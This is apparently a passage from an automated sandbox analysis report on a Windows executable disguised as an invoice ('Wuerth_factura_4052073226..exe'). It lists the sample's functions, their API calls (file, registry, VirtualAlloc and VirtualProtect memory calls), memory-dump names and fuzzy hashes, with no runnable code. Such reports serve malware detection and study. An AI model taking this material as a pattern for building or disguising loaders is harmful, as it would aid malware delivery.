Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Window$EnableShow
String ID:
API String ID: 1136574915-0
Opcode ID: 6c2991b1035228a0368f2c545f853918423f817279a4f05227aa654407defe70
Instruction ID: b15ac955b45fec484fa541f881a0e1a997a888c5735c5634cfe31f6b32bb0f12
Opcode Fuzzy Hash: 6c2991b1035228a0368f2c545f853918423f817279a4f05227aa654407defe70
Instruction Fuzzy Hash: 85E0C232600500AFCB10AFF5AE4999E7375DF90369710407FE402F14E1CABC9C408A6D

Function 00405C02 Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\Wuerth_factura_4052073226..exe,80000000,00000003,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00405C06
CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00405C28

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction ID: a29eaa7254a97888a18cbfd792fe15e84c6d283973f4e4682f27fdddc38ff468
Opcode Fuzzy Hash: c97765c4049bc943dbf434cc8e3c5f5e58d45e95167aa4d8b6d1a3ab64a9aeda
Instruction Fuzzy Hash: 71D09E71654601AFEF098F20DE16F2E7AA2FB84B00F11562CB682940E0DAB158199B15

Function 00405BDD Relevance: 3.0, APIs: 2, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,004057E2,?,?,00000000,004059B8,?,?,?,?), ref: 00405BE2
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405BF6

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction ID: 8fdcebde4214434899a3f1b003f07ebd3e102d67d4793912b01b2ec481300f1c
Opcode Fuzzy Hash: 2eea293136030474feb3e1a7c5b1a6ed000805180dcccd9d627e45cfe66d6639
Instruction Fuzzy Hash: 22D0C972904520ABC2102728AE0889BBF65EB542717024B35FAA9A22B0CB304C569A98

Function 004056D8 Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,00000000,00403270,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034A5), ref: 004056DE
GetLastError.KERNEL32 ref: 004056EC

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID:
API String ID: 1375471231-0
Opcode ID: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction ID: b0cc9022c7fc522e2a1325a3a88c93622829811feb2dde411d36191549599a95
Opcode Fuzzy Hash: 0964e43d4f51b800c832a37fa1186c7301bf32e9249ac1f93b451144f827c630
Instruction Fuzzy Hash: B3C04C70615602DAE6105B20DE1971B7954AB50741F51883A614AE11A0DA758455DE2E

Function 100028A4 Relevance: 2.7, APIs: 2, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 10002963
GetLastError.KERNEL32 ref: 10002A6A

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: AllocErrorLastVirtual
String ID:
API String ID: 497505419-0
Opcode ID: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction ID: 77f315af6c145f6c632c2ebe68d3f6cdb0cf0445c85f86b19d364da59c27affc
Opcode Fuzzy Hash: 59d19e049e546944b5a660a22879eb7514e0dc07886846df9c342dd830f48687
Instruction Fuzzy Hash: 8851C4B9905214DFFB20DFA4DD8675937A8EB443D0F22C42AEA04E721DCE34E990CB55

Function 00402CC9 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000145,00000000,00000022,00000000,?,?,?,0040232B,00000002), ref: 00402CF1

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: 6fa9b2111909f23f1476d2dc374b0d3a5edb3c3a2ed4bfe18e14c4b044179ec4
Instruction ID: a92619725d3bf32733c5b59166531a90e5d829bdffcfee08d8de04b53d45ba62
Opcode Fuzzy Hash: 6fa9b2111909f23f1476d2dc374b0d3a5edb3c3a2ed4bfe18e14c4b044179ec4
Instruction Fuzzy Hash: 63E0E676254108BFDB40DFA5DE47FD577ECEB54704F008025BA09D70D1C678E5509769

Function 00405C85 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,00403232,00000000,00000000,00403079,000000FF,00000004,00000000,00000000,00000000), ref: 00405C99

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 367723d41a66009c2099c483b716accd4a6fea8915a9694eb2152ff5aa97eb4c
Instruction ID: 1f5957c0360fd8fa5667ae66c631dc737c687ff57a2230ad484cb91cc4d73fb5
Opcode Fuzzy Hash: 367723d41a66009c2099c483b716accd4a6fea8915a9694eb2152ff5aa97eb4c
Instruction Fuzzy Hash: E7E08C3220421AABEF109E618C00AEB7B6CEF05364F004436F922E2140E234E8218BA8

Function 00405CB4 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(00000000,00000000,00000004,00000004,00000000,000000FF,?,004031E8,00000000,0078B6D8,000000FF,0078B6D8,000000FF,000000FF,00000004,00000000), ref: 00405CC8

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction ID: 98013b39db6e85760f5ab21dfedcc60362cbd5470676cd53f11b5d229ee65248
Opcode Fuzzy Hash: 6919b523ba5b1b84b4b924eeaf28b73d4aab7fc63dbc8f700f0d9cb823d33c03
Instruction Fuzzy Hash: A0E0463221425AABEF109E508C00AAB3B6CEB00261F104432B915E6040E630E961ABA8

Function 100027C7 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(1000405C,00000004,00000040,1000404C), ref: 100027E5

Memory Dump Source

Source File: 00000000.00000002.2557535057.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2557517114.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557549855.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2557564839.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction ID: 0f6967942ea94a3d6c88e3f350f968197b77ea31d8e69eb9713f4ef8856af232
Opcode Fuzzy Hash: 872da592a6d7a810a82f92163ecc1a118f8c9402d7722bf40bb7f7edf15a1654
Instruction Fuzzy Hash: 47F0A5F15057A0DEF350DF688C847063BE4E3483C4B03852AE3A8F6269EB344454CF19

Function 0040159B Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?,000000F0), ref: 004015A6

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 9db4e93f0f7ad3efd2c6de43972d44d928b62bc47a63519bdce96dfdf680e3e3
Instruction ID: 204b984327d7f3e6c4152ed8a6035fe7395a45412b5aca2fcc5e3a71fd3ba684
Opcode Fuzzy Hash: 9db4e93f0f7ad3efd2c6de43972d44d928b62bc47a63519bdce96dfdf680e3e3
Instruction Fuzzy Hash: B7D05B33704100DBCB10DFE89E0869D77759B80334B20C177D501F25D4D6B8C5505B1D

Function 0040413D Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040414F

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4f7e142c0b73324572861e51e4895595a613045da2a956c59d23be962e06f5a1
Instruction ID: e107f78b1bc9bc3d7278e4c5f459ebf6569cc91abc8b2cca8897f7623fe5a1fb
Opcode Fuzzy Hash: 4f7e142c0b73324572861e51e4895595a613045da2a956c59d23be962e06f5a1
Instruction Fuzzy Hash: 97C09BB1744701BBDB109B509D4DF17775D6794700F1584297350F61D4D674E450D61D

Function 00404126 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,00403F52), ref: 00404134

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 12b0ae2962ef85dd80a6f14f68689ea05a74157d7519edd7707daa867acccfd2
Instruction ID: 6c025a846befaa099d481c36b27a79c5fc7dd1f0b3caa6cf802aff4301849ee4
Opcode Fuzzy Hash: 12b0ae2962ef85dd80a6f14f68689ea05a74157d7519edd7707daa867acccfd2
Instruction Fuzzy Hash: 02B09236190A00BADA614B00EE09F457A62A7AC701F00C429B240240B0CAB200A0DB09

Function 00403235 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402FB5,?,?,?,"C:\Users\user\Desktop\Wuerth_factura_4052073226..exe",00403513,?), ref: 00403243

Memory Dump Source

Source File: 00000000.00000002.2533233696.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2533219386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533249063.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.0000000000789000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533263661.00000000007CA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2533610200.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 1c6da78d27ebc38603b4c87e6ff41e0916c1b34e9bb95e36f46a9ca6431a4e31
Instruction ID: 64c0fffafe8abe290eaf2022e63b776f1a4a3bd25e2fde741040b5855636c72c
